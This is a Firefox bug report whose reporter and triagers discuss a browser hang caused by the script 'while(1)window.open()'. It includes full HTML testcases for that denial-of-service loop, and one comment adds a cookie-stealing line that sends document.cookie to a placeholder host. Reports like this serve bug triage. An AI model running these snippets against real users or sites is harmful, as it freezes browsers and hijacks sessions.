Closed
Bug 379151
Opened 18 years ago
Closed 17 years ago
while(1)window.open() hangs up browser
Categories
(Core :: DOM: Core & HTML, defect)
Core
DOM: Core & HTML
Tracking
()
People
(Reporter: linux2.6, Unassigned)
References
Details
(Keywords: hang, testcase)
Attachments
(2 files)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.2) Gecko/20061023 SUSE Firefox/2.0.0.2
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.2) Gecko/20061023 SUSE Firefox/2.0.0.2
Any site you visit can make a DoS attack by executing Javascript code "while(1)window.open()". It works even when popups are blocked.
Reproducible: Always
Steps to Reproduce:
1. Make a HTML with <script type="text/javascript">while(1)window.open()</script>.
2. Visit it with your Firefox.
Actual Results:
Browsers hangs up.
Expected Results:
Firefox would ask to terminate a script.
Comment 1•18 years ago
|
||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070428 Minefield/3.0a5pre
I can't reproduce this; it loads indeed for a long time with high CPU usage (about 15 seconds) but then I see the slow script dialog plus the notification bar with the message that the browser prevented 8191 popup windows from opening.
I tested also 2.0.0.3 with the same result.
Comment 2•18 years ago
|
||
Reporter | ||
Comment 3•18 years ago
|
||
Sorry, I did not noticed it (and I think 15 seconds is too big period). But with <input onclick="while(1)window.open()" type="button" value="Click here!" /> everything works.
Reporter | ||
Comment 4•18 years ago
|
||
Reporter | ||
Comment 5•18 years ago
|
||
Offtopic:
Why do you allow uploading HTMLs here in Bugzilla? Anyone can steal your Bugzilla cookies by using "document.location='http://bla.bla.bla/'+document.cookie"...
Comment 6•18 years ago
|
||
confirmed the second testcase with Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4pre) Gecko/2007042503 BonEcho/2.0.0.4pre, it opens every few seconds a new Bon Echo window.
Keywords: testcase
Comment 7•18 years ago
|
||
The hang also happens on trunk.
You should get a unresponsive script dialog instead.
Assignee: nobody → general
Status: UNCONFIRMED → NEW
Component: Security → DOM
Ever confirmed: true
Keywords: hang
Product: Firefox → Core
QA Contact: firefox → ian
Version: unspecified → Trunk
Updated•18 years ago
|
Severity: normal → critical
Comment 8•18 years ago
|
||
(In reply to comment #6)
> it opens every few seconds a new Bon Echo window.
Only if the popup blocker is turned off. With the default settings it's a plain infinite-loop DoS.
Comment 11•17 years ago
|
||
dupe of bug 31041 ?
Comment 12•17 years ago
|
||
Yeah, I think so, thanks.
Status: NEW → RESOLVED
Closed: 17 years ago
Resolution: --- → DUPLICATE
Updated•6 years ago
|
Component: DOM → DOM: Core & HTML
You need to log in
before you can comment on or make changes to this bug.
Description
•